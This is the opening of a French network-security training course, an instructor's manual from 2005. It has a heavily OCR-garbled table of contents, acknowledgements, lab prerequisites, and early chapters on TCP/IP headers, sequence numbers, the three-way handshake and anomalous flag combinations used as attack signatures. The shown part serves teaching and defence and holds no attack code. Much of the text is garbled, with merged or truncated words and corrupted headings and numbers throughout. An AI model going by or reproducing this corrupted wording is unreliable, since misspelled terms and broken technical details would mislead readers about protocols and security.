Formation
Sécurité des Réseaux

Version 1.0.1

Support Instructeur

Eric BERTHOMIER

17 mars 2005



Table des matieres

Table des matiéres

Remerciements
1 Historiéue

2 Prérequis du cours

1 Introduction

3 Introduction

Il Rappel sur les réseaux

4 Introduction
5 TCPIP[5]

5.1 Lentete TCPIP . . . o oo
511 LentetelP . . .. ...
5.1.2 Leprotocole TOP . . . . v v i
5.1.3 Propriétés du protocole TCP . . . . . . oo oo
5.2 Numérosdeséquence[15] . ... ... ... .. ......
5.3 Connexion de base entre deux hotes TCP e,
5.3.1 LeSDrapeauXx . . . . . .o vi
5.4 Les differents états d’un port TCP lors d'une conne%ﬁ] [
5.5 Sécurité : Association de drapeaux . . . . . . ... ...
5.5.1 Paquetfragmenté . . . . ... ... ... ... .....
5.6 Protocole UDP . . . . . . i
5.7 ProtocoleICMP . . . . . . .. . . .. ...
5.8 Travaux Pratiques . . . . . . oo v i

6 HTTP[10]

6.1 LeProtocole HTTP . . . . . o v i oo,
6.2 Principe de fonctionnement . . . . .. .. ... .. ... ....
6.3 Requéte ausServeur . . . . . .. .. ..
6.4 Réponseduserveur . . . . . ... ...

6.4.1 Statut (status in english) de la reqbéte

6.5 HTTPS . . . . . . .

10
11

12

13

14



TABLE DES MATIERES

6.5.1 Principe . . . . . . . e e e
6.5.2 Fonctionnement. . . . . . . . . ... e e e
6.6 Travaux Pratiqués ........................................
6.6.1 Protocole HTTP . . . . o o v oo e
6.6.2 HTTPS . . . . . . e

7 Mail

7.1 SMTP:EMVOIAeMAlS . . . . o o oo oo e e
7.2 POP3:lecturedesmails . . . . . . . . . . . . . . e
7.3 Travaux PratiUues . . . . . o oo oo e e

8 Conclusion

11l Sécurité des donnéels

9 Onduleur[6
9.1 Enbref . . . . . s

9.2 Dansledétail . . . ... ... ...,
9.3 Technologies "Off-line", "Line-interactive"et"Ome" . . . . . . . .. ... ... .....
9.4 Détermination de la puissancede llonduleur . . . . . . . ... ... L.
9.5 FAQ . . . . e
951 A guoi correspondent et servent les para-surten®eurs . . . . . ... ... ...
9.5.2 Unonduleur est-il utile pourunportable? . . . . . . . ... .. ... ...
9.5.3 VAetWatts? . . . . . . . . . e e

10 Présentation de la technologie RAID[17]

10.1 Niveau D . . . . . . . e
10.2 Niveaul . . . . . . . e e
10.3 NiVeAU R . . . . . o o e e e e
10.4 Niveau B . . . . . . . o e
105 NIVEAU A .« o o o oo e e e e e e
10.6 Niveau b . . . . . . . . e
10.7 Niveau b . . . . . . . e e
10.8 COMPATAISON . . « « o o o e e e e
10.9 Mise en place d'une sOlUiON RAID . .« o o o o o

11 Sauvegarde des donné@[S]

11.1 A quoiserventles sauvegardes? . . . . . ..o

11.2 Choix du MatériBl . . . . o o o o

11.3 Choix du logiciel . . . . .

11.4 Stratégie de sauVvegarde . . . . . . . ..o
11.4.1 Exemplede Stratégie . . . . . . oot

11.5 Recommandations générales . . . . . . . o oo

v Cryptage et application\
12 Introduction

26
27
27
27
27

29
29
30
30

31

32

33
33
33
34
34
35
35
35
35

36
36
37
37
38
38
38
39
39
39

40
40
40
40
41
41
41

42

43



TABLE DES MATIERES

13

Bases de cryptographie

13.1 AFAIRE: Description d’un algorithme de compression
13.2 Vérification d'intégritéfonctionde hachage. . . . . .. .. ... ...
13.2.1 Travaux Pratiques : Contrdle d'intégrité . . . . . . .. .. ..
13.3 Chiffrement de systéme de fichiers (sous Linux) . . . . ... .. ..
13.3.1 Fonctionement . . . . . . ... ... .. ... o
13.3.2 Algorithmds ...........................
13.3.3 Exemples . . . . . ...

14 Tripwire

15

SSH[14]

16

Gnu Privacy Guard

16.1 PrinCipes génerauxX . . . . . ..ot
16.1.1 Signature digitdle ........................
16.1.2 Chiffrement. . . . . .. .. ... . ... .. ... ...

16.2 Utilisation des clés publiques et privées : GPG . . . . oo o . . . .
N . e

16.2.2 Utilisationensolitaire . . ... .. ... ... ........

16.2.3 Explication des différentes options . . . . . . . . . . .o .
16.2.4 Utilisationenbindme . . . . . . . . . o

16.2.5 Réponse des Travaux Pratiques en Bindme

16.2.1 Installatio

14.3 Mise en fonctionde Tripwire . . . . . . . . . .. ... ...
14.4 Restauration de la configuration . . . . . .. ... ... ...

14.4.1 Régénéation du fichier de configure{tion .............

14.4.2 Régénéation du fichier de polices ...............
14.5 Création de la base de données liées au S)Astéme DN
14.6 Testdelabase de doniées . . . ... ... ... ... ... ...
14.7 TravauxX PratiQUueS . . . . o o v oo oo e e

15.1 Introduction . . . . . . . . . ..
15.2 Pourquoiutiliser SSH? . . . . . . ... .. .. ... .. ... ...,
15.3 Séquence des événementsd'uneconnexionSSH . . . . . ... oL L
15.4 CouchesdesEcurité SSH . . . . . o v v v i i e
15.4.1 Couche transpbrt ........................
15.4.2 Authentification . .. ... .. ... ... ... ... ...,
15.4.3 Connexion . . . . . . . ... e
15.5 Protocole de CONNEXION . . . . o o v v v v oo

15.5.1 Initialisation de laconnexion . . . . . . . .. ... ... ...

15.5.2 Echange d'identification . . . . . . . .. ...
15.6 L'échangedeclefs . ... ... ... .. .. .. ... .. .. ....
15.7 Conclusion . . . . . . ... e e
15.8 TravauxX PratiqUues . . . . « o v oo oo

15.8.1 Putgé ..............................

15.8.2 Telnet . . . . . . . . . .. e
15.8.3 SSH . . . . . . . e

15.8.4 Exercicés ............................

15.9 Scb ...................................

44
44
44
44
44
44
45
45

47
47
47
47
47
48
48
48
48
49
49

50
50
51
51
52
53
53
54
54
54
54
55
55
55
55
56
56
57
57

58
58
58
58
58
58
59
60
60
60



TABLE DES MATIERES 4

16.2.6 Complémentdinformation . . . . . . . . . 60

17 Les Réseaux Privés Virtuels (RPV ou VPI\)[WS] 62
17.0 INrodUCHON . « « o o o o e e e 62
17.1.1 Qu’est-ce gqu’'un VPN? . oo 62

17.1.2 Pourquoi utiliser un VPNI? o 62

17.2 Fonctionnementdes VPN . . . . . o o v e 62
17.2.1 Linterconnexion . . . . . . . . . i i e e e e e e e e e 62

17.2.2 Les concepts de DASE . o o o e 65

17.2.3 Latunnelisation. . . . . . . . . . . . e e e 65

17.2.4 Les 3 principaux composants d'IPSEC . . . . . . . ... e o 65

17.2.5 AH (Authentication Headér) ............................ 65

17.2.6 ESP (Encapsulating Security Header) . . . . . .. ... ..u ... ... ... 65

17.2.7 IKE (InternetKey Exchange) . . . .. ... . . .. .. ... oo 66

17.2.8 Lechiffrement . . . . . . . . . .. e 66

17.2.9 Lauthentification . . . . . . . . . . . . . e e 67

17.3 Conclusion . . . . . . . . e e e e 68

18 Protection d’'un service WeHE] 69
18.1 INtrOdUCHON . . . o o v v 69
18.2 Comment configurer Apache pour I'htaccess? . . . . . . . . . .. . . .. .. .. .. 69
18.3 La procédure de création du fichier .ntaccess . . . . . . .. .. 70
18.4 La procédure de création du fichier .htpasswd . . . . . . ... ... ... ....... 70
18.5 TravauxX PratiqUes . . . . « o o o oo e 71
18.5.1 Pré-reqUIS . . . o o oo ot 71

18.5.2 Capture duMOtde Passe . . . . . . v oot e 71

18.5.3 Protection par htﬁps ................................... 72
18.6 Notes sur l'installation de Apache et Apache-ssl . . ..o v v v oo v o i 72
19 Conclusion 73

V Attaque§ 74

75
21 IP Spoofing [1 76
21.1 GENéraliteés . . . . . . . . e e 76
21.1.1 Présentation . . . . . . oo 76

21.2 PrETEOUIS .« « o v v v e e e e 76
21.3 Lattaque . . . . e e 77
21.3.1 Enbref . . . . . e 77

21.3.2 Endétails . . . . . . . .. e e 77

21.3.3 Configuration de confiance . . . . . . . v 78

21.3.4 Invalidation de la machine de confidnce . . . . . .. .. e 78
21.3.5 Echantillonnage des numéros de séquence etpoédicti. . . . . . ... ... .. 79

21.4 Mesures préventi\}es ....................................... 80
21.4.1 Ne pas faire confiance . . . ... 80

21.4.2 Filtrerlespaguets. . . . . . . . . . e e 80

21.4.3 Désactiverle sourcerouting . . . . . . . . . .o e 80

21.4.4 Utiliserle chiffrement . . . . . . . . . . . . . . ... e 80

21.4.5 Utiliser un numéro de séquence initial aléatoire ...... . . ... ......... 81



TABLE DES MATIERES

21.5 Travaux Pratiques : utilisation d’un logiciel de maage d’IP : HPinb ...........

22 Le Port Scanning ’[ﬂ]
22.1 INtroducCtion . . . . . . . e e e
22.2 Différentes techniques de port SCaNNING . . . . . o v v v
22.2.1 VanillaTCP CONNECH) . . . o v o oo oo e e e e
2222 TCPSYNSCAN . . . . . o e e e
22.2.3 TCPFINScanning . . . . . . . o it e e e e e e e e e e
22.2.4 Fragmentation Scanning . . . . . . . . . . .. e
22.2.5 TCP StealthScan . . . . . . . . . . . . e
22.2.6 TCPReverseldentScanning . . . . . . . . . . . ittt
22.2.7 Dumb Host Sca@lB] ..................................
22.2.8 UDP POMtSCANNING . . . . o v o oot e e e e e e e
22.3 Travaux PratiqUes . . . . . . ..o
22.3.1 Utilisationdeimap . . . . . . . . . . . e
22.3.2 Travaux Pratiques : Utilisation d'un scanner de P?mad ..............
22.3.3 Interface graphiquepournmap . . . . . . . ... e
22.3.4 Testerles portsouvertssurl'lnternet . . . . . . . . ..o

23 Quelques attaques rangées

23.1 DOS . . . e
23.2 DDOS . . . .. e e e e e
23.3 Description de quelques attaqueS COMMUNES . . . . . v v iviee v o v e e e e e e e
23.3.1 FTP Bounce Attack (Attaque FTP parRebond) . . . . .. ... ... ... ..
23.3.2 PING FIOOAING ATACK . . . o o o e o e e
23.3.3 SMUMAIACK . . .« o o o o o
23.3.4 SYNFI0OAING AMACK . . o o o oottt e
23.3.5_IP Fragmentation/Overlapping Fragment Attack . ...... . .. .. ........
23.3.6 IP Sequence Prediction AttACK . . . . . . . e
23.3.7 DNS Cache POISONING . . . . . v o oo e e e
23.3.8 SNMP AUACK . . . o . o o oot
23.3.9 UDP FIOOd AUACK . . . o o v o oo e e e e e
23.3.10Send Mail Attack . . . . . . . . .. e
23.4 Game for Hacking . . . . . . . . . e e

24 Les buffer overflows
24.1 INrodUCHION . . . o o o o o e e e
24.1.1 Lesprogrammes Setuid . . . . . . . oo e e
24.2 Lapile enMEMOIre . . . . v o o v i
24.2.1 Exemple de dépassementdelapile . ... ... .. ... ..o .. ..
24.3 Les buffersoverflows endétail . . . . . . .o
24.3.1 EXEMPIE: . . o oo o
24.3.2 Exempledevulnérabilité . . . . . . . . .. .. e
24.4 Variante : les "format string exploitS" . . . . . . . .o e e
24.5 Notre Attague . . . . . . . . e
24.6 Mesures de PréCautions . . . . . . . ..o




TABLE DES MATIERES 6

25 Attague par force brute 102
25.1 Introduction . . . . . . . .. e e e e 102

25.2 Identifierlespartages . . . . . . . . . . e 102
25.3 Visualisationdes partages . . . . . . . . ... e e e e 103
25.4 Accéder au Dartage ....................................... 104
25.4.1 EXEMPIES . . o o o oot 104
25.5 Libérerle partage . . . .. e 104
25.6 Motde passe:laforcebrute . . . . . . . ... 104
25.6.1 Analyse du Programme . . . . . . ... e e e e e e e 105
25.7 Travaux PratiquBs . . . . . o oo 105
26 Conclusion 106
VI Défense 107
108
28 Proxy@ 109
29 Les FireWall m 110
29.1 Comprendreles pare-feux. . . . . . . . . . . e 110
29.1.1 Politiques de SECUME . . . . . o . o oo 110
29.2 Types de PAare-fEUX . . . . o o v v o 111
29.2.1 Pare-feuxfiltrants. . . . . . . . . . . e e 111
29.2.2 Serveurs mandataireS . . . . . o oo 112
29.2.3 Mandataire SOCKS . . . . . o i 112
29.3 Architecturede pare-feu . . . . . . .. e 112
29.4 Leslimitesdesfirewalls. . . . . . . . . . . . . e e 113
29.5 Principe du pare-feux SoUS LINUX . . . . o v oo e e e 113
29.5.1 Lesréglesdufiltrage aveclpchains . . . .. . ... ... e 114
29.5.2 Exemple de 'effet d'un DENY . . .ot 115
29.5.3 Exemple de l'effetd’un REJECT . .ot 115
29.5.4 Quelques élément de la syntaxed’lpChains . . . . . ... ... ... ..... 115
29.6 Exemple de configurationde Firewall . . . . . . . . o oo 116
29.7 Travaux Pratiques . . . . . . . . . . e e e e 116
29.7.1 Linux: utilisation d'IPTabIES . . . . . . o v o ot 116
29.7.2 Windows : installation et configuration de ZoneAlarm. . . . .. ... ... ... 118
30 IDS [12] 119
30.1 INtrOdUCHON . . . o o v 119
30.2 Bibliothéques de signatures contre détectiondafiesna . . . . . .. ... ... .. ... 119
30.3 IDS a Bibliotheques de signat%res ............................... 119
30.4 IDS a Modéles comportementaux . . . . . . . o e e e e e 119
30.5 Réseau contre SYStEME . . . . . . . . . it e 120
30.6 IDSRESEAU . . . o o oo oo e 120
30.7 IDSSYSIEME . . o oo e 120
30.8 Laréalitt dumarché . . . ... ... . ... ... 120
30.9 Lefutur . . . . . . . e e e e 121
30.10CHLEres de CROIX . . . o o v v o oo e e e e 121
30.11Exemples de signatur@ [B] - o o 121

30.11.1Signature de lattaque LAND . . . . . . ..o e 121



TABLE DES MATIERES 7
30.11.2 Signature de 'attaque SMURF . . . . . . . . . . . . . 121
30.11.3 Signature d’'une attague DNS : transfertdezone . . . .. . .. ... ... ... 122
30.11.4 Signature paguet suspect . . . . . . .. e e e 122
30.11.5 Signature paquetfragmenté . . . . . . .. e e e 122
30.11.6Signature ICMP . . . . . . . e e 122
30.12C0oNCIUSION . . . . . . e e e e e e e 122
30.13Travaux Pratiqu\es ........................................ 122
30.13.1SNOM .« o o v e e e 122
30.13.2 Note sur les logsdesnort . .. ... ... .. e 122
31 Les Pots a Miel (Honey Pots) [7] 124
311 BUt. . . .. e e 124
31.2 HonevPoks ............................................ 125
31.2.1 Définition . . . . . . . e 125
31.2.2 Danger . . . . . . . e e e e 125
B1.3 HONEY NEL . . o o v oo e e e e e 125
31.3.1 DEfINIION . . . o o o 125
31.4 FONCHONNEMENt . .« « « o o o e e e e e 126
31.4.1 Danger . . . . . . . e e e e e 126
31.5 VAMUALHONBYNELS . . . . o o o o o e e e e e e e e e e 126
31.6 Conclusion . . . . . . e e 126
32 Chrooting : Technigue d’emprisonnement[@] 127
32.1 Questce quele Chrooting? . . . . . . . . oot v 127
32.2 ExXemple . . . . e 127
32.3 BUt. . . . e 127
32.4 Conclusion . . . . . ... e e 127
32.5 TravauX PratiQUeSs . . . . « o o o oo e e e e 128
32.5.1 Créerunchrootminimal . . . . . . . . . . . . @ . . @ i 128
32.5.2 chrootenmode Rescue . . . . . . . . . . . .. e e 129
33 Mots de passe 130
33.1 LesmotSAE PaASSE . . . . . . i e e e e e e e e 130
33.2 Quelquesrégles dans la créationdes motsdepasse . . ... .. ... ........ 130
33.2.1 LeSmMOts de Passe A 6VItEr . . . . . oo i i 130
33.2.2 Régles de constitution de mot de passe "solide" . . . . ... ... ....... 130
33.3 Exemple d'une méthode de création de mot de passe 131
33.4 Cryptagedes motsdepasse . . . . . . . . . i i i it e e e e e e 131
33.5 Travaux Pratiques : test des motS de Passe . . . . . o o v ceeeeer o131
33.5.1 JohnThe RippersurWindows . . . . . . . . . . e 132
33.5.2 JohnThe RippersurLinux . . . . . . . . . . . e e 132
33.6 Gestion des MotS de PASSE . « . . v v e it 133
33.6.1 Paramétrage par défaut . . . . . . .. e 133
33.6.2 PAM : Pluggable Authentification Modules : les motpédsse . . . . . . . ... .. 133
33.6.3 QuelquesmotssurCracklib . . . ... .. .. ... ... ... . ..., 133
34 Conclusion 134
VIl Le plus grand danger : soit! 136
35 Introduction 137



TABLE DES MATIERES

36 Les Virus

36.1 INtrOdUCHON . . .« o o o o e,
36.2 DEfinition . . . . . . .. e e
36.3 EtUDE DB CAS . . . . v v v i
36.4 Descriptif du Virus : VBS.SST@mm alias Virus AnnaKakaova . . . .. .. ... ....
36.4.1 Description TEChNIQUE . . « « . v v v e o e e e e e
36.4.2 Exemple de code de Virus : AnnaKournikova . . . . ... ...... ... ... L.
36.5 CONCIUSION : SE PIrOtEGEr . . . o o v v o e
36.6 Travaux Pratiqubs ........................................
36.6.1 Analysedecode . .. .. ... . . ... e
36.6.2 Installation d’'un antivirlls . . . . . . . o

37 Les Trojans ou Chevaux de Troie

37.1 IntroducCtion . . . . . . .. e e e e e e
37.2 Rappel Historigue . . . . . . . . . . . . e e
37.3 DEfinition . . . . . .. e e
37.4 Exemple . . . ..
37.5 CONCIUSION 1 SE PIOtEGEr . . . o o v v o e

38 Spyware

38.1 Introduction . . . . . . .. e e e e
38.2 DEfinition . . . . . . e e
38.3 Fonctionnement . . . . . . .. e e e
38.4 Reconnalitre UNSPYWANE . . . . . . . v v v v vt e e e e e e e e
38.5 Comment détecter la présence d'Un SPyWare? . . . . . . .o,
38.6 Comment faire pour éliminer Un Spyware? . . . . . . . . . . oeii i
38.7 Conclusion : Spyware or NOtSPYWare ? . . . . . . oo v vt e
38.8 TravauX PratiqUeS . . . . . . o v o v oot e

39 Langages de Programmation Web
39.1 Introduction . . . . . . .. e e e e e e e
39.2 LesCGl . . . . . e e
39.3 LESVBSCHPIS . © . v o oo o e e e e e
39.4 LeJavaScript . . . . .. e
39.4.1 Utilisation de la naiveté des internautes . . . . . . o oo
39.4.2 Utilisation des failles des navigateurs . . . . . . . ..ocoo o
39.5 APPIBLJAVA . . . . . i e
39.5.1 EXEMPIE . . o v ot e
39.6 Les ACtiVEX . . . . . . . e e
39.7 Certification de COUE . . . . o v v v o o e e
39.8 Se protégbr ...........................................
39.9 TravauX PratiQUeSs . . . . « o o v v oo e e

40 Cookie

40.1 Introduction . . . . . . .. e e e e e e
40.2 DEfINItion . . . . . . .. e
40.3 COOKIE BIOIANt . . . . o o ot e
40.4 SEPIOEOET . . o o i
40.5 Travaux Pratiqubs ........................................




TABLE DES MATIERES

41 Ingénierie sociale
41.1 Définition
41.2 Exemples . . . . . e e e e
41.3 Bangue et confidentialité
41.4 Conclusion

42 Directives pour une informatique sécurisé@]

42.2 Recommandations aux utilisateurs

43 Conclusion

VIl Conclusion|

44 Conclusion

IX Annexes

A GNU Free Documentation License

. APPLICABILITY AND DEFINITIONS
VERBATIM COPYING .« o o v oot e e e
. COPYING IN QUANTITY
CMODIFICATIONS . . . o o oo e e e
.COMBINING DOCUMENTS . . .« o ottt et e s,
.COLLECTIONS OF DOCUMENTS . . .« s s oo s
. AGGREGATION WITH INDEPENDENT WORKS
. TRANSLATION
CTERMINATION . . oo e e e
10. FUTURE REVISIONS OF THISLICENSE . . . . . o o e e e
'ADDENDUM : How to use this License for your documents

Listings

Liste des tableaux
Table des figures
Bibliographie
Index

OloNojal~[wN|-

42.1 Recommandations aux administrateurs réSeau . . . . ..o.c.ce v oo

173

174

175
175
176
176
177
178
178
179
179
179
179
179

181
182
183
184

185



Remerciements

Une pensée toute particuliere a ma femme et a mes 2 filles pousbutien de tous les instants.

Merci a tous les stagiaires qui ont supportés mon vagabenpgagogique ainsi que tous mes collégues
qui ont supportés mes ronchons quotidiens.

Un remerciement tout particulier a (dans I'ordre alphahés)
Laurent Corbin : pour sa relecture et ses idées de nouveaux chapitres
Philippe Cloarec : pour ses connaissances techniques, électroniques et adie.

Johnny Diaz : imperturbable interrogateur qui a permis de faire ava@oermément le coté pédagogique
de mes cours. Merci notamment pour ses prises de notes mfiigeeprises.

Bruno Panaget : studieux et intéressé, merci pour son soutien dans lasaaln de ces cours.
Erwann Simon : vénérable maitre de Linux qui m'aide dans les coups dursstaublis.
frcomp.text.tex : merci a tous ceux qui m’ont aidé a naviguer au sein de céetmuitsant et fiable.

Toutes mes excuses a ceux que j'aurais pu oublier ...

10



Chapitre 1

Historique

Version Date Mise a jour

1.0.1 24 Juin 2004 1ére version finalisée

11



Chapitre 2

Prérequis du cours

Le cours nécessite de disposer des fonctionnalités sewant

— Acceés Internet
— Machine Linux disposant :
— des services suivants :
— POP : QPopper
— SMTP : Exim
— Apache : httpd
— Apache sécurisé : libapache-modssl
— SSH: sshd
— Telnet : telnetd
— des outils suivants :
— Compilation C
— nmap
— hping (logiciel)
— des utilisateurs suivants :
— stagel
stage2
stage3
staged
stage5
stage6

— Machine Windows avec la possibilité d’'installer le logicsuivant :
— Ethereal
— Putty
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Chapitre 3

Introduction

Apportant avec elle, le support électronique, la messagestantanée, la communication haut débit, les
pages web, les bases de données ouvertes, I'informatiqueeatda porte & un nouveau type de criminalité
la cybercriminalité. Longtemps ignoré par les responsabliermatiques le hacking représente maintenant
un enjeu économique important et nombreuses sont les ataigant a détruire ou a usurper des informa-
tions.

En premier lieu, nous rappellerons les principes du TCR/tee protocoles du web HTTP/HTTPS.

Puis nous expliquerons le fonctionnement d’'un programnmedsicontrdler au maximum ce que fait une
session Internet.

Ensuite, nous passerons a l'attaque. Tout d’abord en tétlgireur nous verrons différentes méthodes per-
mettant la découverte de VOS machines. Une fois découvenigsverrons les différents types d’attaques
gu’elles peuvent subir.

Face a nous, les adversaires possedent de puissantesdéfaasious analyserons : Firewall, IDS, Honey
Pots, ...

Mais ne nous leurrons pas, toute défense possede ces $aiftesit si le mal vient de I'intérieur... ou méme
de soit.

Enfin, afin d'étendre notre connaissance et se donner un chdenpision important, nous installerons et
sécuriserons a minima 2 systemes, Windows 2000 & Linux DeWiaody.

Wi - Epmap' -
W 9398 - dabher
M 345 - microsoft-
58584 - sazzer-fip
W 1433 - mE—-sgl-=
1434 - mz—-=zql-m
M cthers

¥

e & o
Dtrch—e (1] B http: M. dshield. org

FiG. 3.1 — Statistiques des attaques Web

Tous les documents et marques cités et publiés dans ce redwseint la propriété de leurs auteurs
respectifs.
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Deuxieme partie

Rappel sur les réseaux
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Chapitre 4

Introduction

Nous allons commencer par un rappel des notions de base thcpi®TCP/IP indispensable a la com-
préhension du fonctionnement des signatures et des filtres.
Puis nous aborderons le fonctionnement des pages Web a@pietocoles utilisés par les serveurs: HTTP
et HTTPS.
Enfin, nous verrons la derniére composante de notre quitidiernet : le mail avec les protocoles POP3 et
SMTP.

16



Chapitre 5

TCP IP [5]

Un paquet TCP/IP est composé de deux parties : la particteettéa partie data.

5.1 Len-téte TCP/IP

L'en-téte TCP/IP contient toutes les informations que lgus utilise sur le réseau pour circuler. Il
est composé de deux parties : une partie contenant les iafioms utilisées pour effectuer le routage et
I'adressage appelé I'en-téte IP, et une deuxiéme partienant les informations concernant le protocole de
transport du paquet (TCP, UDP, ICMP) appelé en-téte TCReQetle partie varie en fonction des applica-
tions qui utilisent les services du protocole TCP/IP.

5.1.1 Len-téte IP

D

00000110=TCP
00010001=UDP

Numéro de version Longueur en-téte IR TOS Longueur totale du paquet =
(4 bits) (4 bits) (8 bits) longueur-en-téte (IP + protocole encapsule
+ données

(16 bits)

Identification R DF MF | Offset du fragment
identifie les fragments d’'un méme paquet (1 bit) | (1 bit) | (2 bit) (13 bits)
TTL Protocole Somme de contrdle
(8 bits) 00000001=ICMP (16 bits)

Adresse IP destination

(32 bits)

Adresse IP source

(32 bits)

TAB. 5.1 — En-téte IP

TOS : Type Of Service (qualité de service), non utilisé.
TTL : Time To Live, durée de vie, décrémenté de 1 a chaqueagasie routeur.

Flags (R, DF, MF) :

— DF:indique que le paquet ne doit pas étre fragmenté
— MF: indique que le paquet fait partie d'un ensemble de paquagsrfentés

Combinaisons de valeurs possibles pour les flags R, DF & MF :

17
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— 001 :ily a encore des fragments
— 000 : dernier fragment (ou pas fragmenté)
— 01X : ne pas fragmenter

5.1.2 Le protocole TCP

Numéro de port source Numéro de port Destination
(16 bits) (16 bits)
Numéro de séquence
(32 bits)
Numéro d’acquittement
(32 bits)
Longueur| Bits UIA|P|R|S|F Taille de la fenétre
entéte | réservés R| C | S| S|Y | | (16 bits)
TCP 6hits) | G| K|H|T|N|N
(4 bits)
Somme de contrdle Pointeur Urgent
(16 bits) (16 bits)
Options

TAB. 5.2 — En-téte TCP

— URG : Urgent (Ctrl-C par exemple sur telnet)

— ACK : tenir compte de I'’Acknowledgement

— PSH : délivrer immédiatement les données (aprés une figde fious telnet par exemple)

— RST : reset, reprise d'une connexion au départ (aprespitss5YN incompréhensible ou un crash)
— SYN : Synchronisation des numéros de séquence

FIN : termine la connexion

Remarque :  I'ISN définit le Numéro de Séquence Initial (& I'établissernée la connexion).

5.1.3 Propriétés du protocole TCP

Toute session TCP normale se décompose en trois étapedra savo
— établissement de connexion
— échange de données
— fin de la connexion
Chacune de ces étapes se caractérise par un numéro de s2euamne combinaison de drapeaux.

5.2 Numéros de séquence [15]

Une des fonctionnalités majeures du protocole TCP conaitenumérotation de chaque paquet en un
numeéro de séquence. Ces paquets sont ensuite acquiti@éduetlement par I'hote.

La machine source envoie par exemple les paquets numératép, 101, 102 et 103 a une autre
machine. Cette derniere répond par un acquittement (ACKiec@ant le numéro de séquence du paquet regu.
Ainsi I'émetteur du paquet reléve les aquittements recusrafie les paquets qui n’ont pas été aquittés :

Remarque: les paquetsrecus par le destinataire ne sont pas obligeteittimmédiatement acquittés,
de plus il se peut gu'ils n'arrivent pas a destination daodfe dans lequel ils ont été envoyés.
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Emetteur Réseau Destinataire
Paquet 100 — Paquet 100 recy
100 a bien été recu par le destinataire — acquittement de 100
Paquet 101 a bien été recu — Paquet 101 recl
101 a bien été recu par le destinataire — acquittement de 101
Paquet 102 — ?2227222727°?P
Paquet 103 — Paquet 103 recu
103 a bien été recu par le destinataire — acquittement de 103
102 n’a pas recu d’acquiescement, on le renoie— Paquet 102 recy
102 a bien été recu par le destinataire — acquittement de 102

TAB. 5.3 — Principe des numéros de séquence

Emetteur Réseau Destinataire

Emet Paquet 1 \
Recoit Paquet 1
Regoit ACK 1

Emet Paquet 2
\ Regoit Paquet 2
Emet ACK 2
Regoit ACK 2 .//

Emet Paquet 3 —

Timer

FiIG. 5.1 — Principe de I'acquittement des trames
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5.3 Connexion de base entre deux hbétes TCP

Le TCP utilise une connexion en trois—teﬂﬁp@eci permet d’éviter les connexions infructueuses. Le
schéma suivant représente I'évolution d’'une connexioreante machine A et une machine B. Pour chacune
des machines I'état du port est celui de I'action qui viense@roduire (Emission ou Réception de paquet).
SEQreprésente le numéro de séquence du pag@ acquitte le paquet recu en indiquant le numéro de
séquence du prochain paquet attendGEL représente I'état du bit de contrdle, c’est-a-@¥eN ACK ou
SYN-ACK

Machine A Réseau Machine B
1.CLOSED LISTEN
2.SYN-SENT— <SEQ=100><CTL=SYN> +— SYN-RECEIVED
3.ESTABLISHED+«+ <SEQ=300><ACK=101><CTL=SYN,ACK> | «— SYN-RECEIVED
4 ESTABLISHED— <SEQ=101><ACK=301><CTL=ACK> — ESTABLISHED
5.ESTABLISHED— | <SEQ=101><ACK=301><CTL=ACK><DATA> — ESTABLISHED

TAB. 5.4 — Connexion de base

Sur la premiére ligne, la machine B est en attente de connekiodte A initie une connexion vers B,
elle envoie donc un paquet contenant le bit de con®3b) I'état du port devient don8YN-SENTB recoit
ce paquet, il passe a I'éta8tYN-RECEIVERt envoie un paquet conten&iY N-ACKet attendant un paquet
ayant comme numeéro de séquence 101. A recoit ce paquet,pbsseESTABLISHERt envoie un paquet
numéroté 101, comme demandé par B, ayant le bit de contrélégrmé aACK. Puis B recoit ce paquet et
passe a I'étaE STABLISHEDLa transmission peut enfin avoir lieu.

5.3.1 Les Drapeaux

Les drapeaux sont les identificateurs utilisés par TCP/LR jmaliquer I'étape d’'une connexion. Les dif-
férents types de drapeaux de TCP sont :

— SYN marque une demande de connexion.

Pendant cette phase de connexion aucune donnée n’estisansm

Tout paquet contenant des données pendant la phase de detieasmhnexion est suspect (signature).
ACK acquitte la réception d’'un paquet.

FIN marque la fin d’'une session.

ReSeT suspend une connexion.

PuSH pour pousser le paquet dans le tampon d’entrée ddidagugn. Il est utilisé pour des applica-
tions interactives (Telnet).

Un drapeau P avec un port de destination qui n’est pas calumiedapplication interactive doit étre
analysé avec attention.

— URGent marque un paquet prioritaire

— Marqueur marque un paquet contenant des données.

5.4 Les difféerents états d’un port TCP lors d’'une connexion 15]

Un port TCP passe par differents états lors d’une conneXiast possible de voir I'état de chaque
port en utilisant la commande Unnetstat  (disponible également sous Windows). Voici la liste de ces
differents états :

— LISTEN Attente d’'une demande de connexion.

1Three way handshake
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— SYN-SENT Attente de la réponse du destinataire aprés unamtde de connexion.

— SYN-RECEIVED Attente de la confirmation de I'acquiescetréune demande de connexion aprées
avoir recu la demande de connexion et renvoyé un premieiesmgment.

— ESTABLISHED Représente une connexion ouverte, prétenarmattre et recevoir des données.

— FIN-WAIT-1 Attente d’une demande de fin de connexion du T@®adt. Ou un acquiescement de la
demande de fin de connexion préalablement envoyé.

— FIN-WAIT-2 Attente d’'une demande de fin de connexion du TGifadt.

— TIME-WAIT Attente d’'une durée suffisante pour étre sir ghéte TCP a recu I'acquiescement de
sa demande de fin de connexion.

— CLOSE-WAIT Attente d’une demande de fin de connexion vedamt utilisateur local.

— CLOSING Attente de l'acquiescement d’'une demande de firndaexion d’'un héte TCP.

— CLOSED Représente un état ou il n'y a pas de connexion.

5.5 Sécurité : Association de drapeaux

Etant donné que chaque session du protocole TCP/IP se déserep trois étapes, a chaque étape

correspond une association de drapeaux.

— Les associations de drapeaux pour une demande de consexibrSYN, SYN / ACK, ACK.

— Les associations de drapeaux pour un échange de donnée®gdCK, - / ACK.

— Les associations de drapeaux pour une fin de session so&CIk, R / ACK

Certaines associations de drapeaux sont I'ceuvre de pdghetpiés a des fins de nuisance du réseau

Association de drapeaux anormale

Comme association de drapeaux anormale on a :

— SYN/ FIN (ce paquet demande une ouverture de session etrae teénps une fin de session ce qui
est anormal). C’est une signature qui échappe a des dipadstfiltrages et qui évite que le paquet
soit journalisé.

— Un ACK PING consiste a utiliser le ACK au lieu de ping pour tmrner des dispositifs qui filtrent
ce genre de balayage. En envoyant un ACK a toutes les madatiimeséseau celles qui sont actives
répondront par un RESET.

— Un ACK qui n’est pas précédé SYN est suspect (signatureciittaque).

5.5.1 Paquet fragmenté

L'une des grandes difficultés des dispositifs de filtrage akejaurs est la fragmentation. La fragmenta-
tion est le moyen dont dispose le routeur pour couper en feaggrun paquet dont le MTU ne correspond
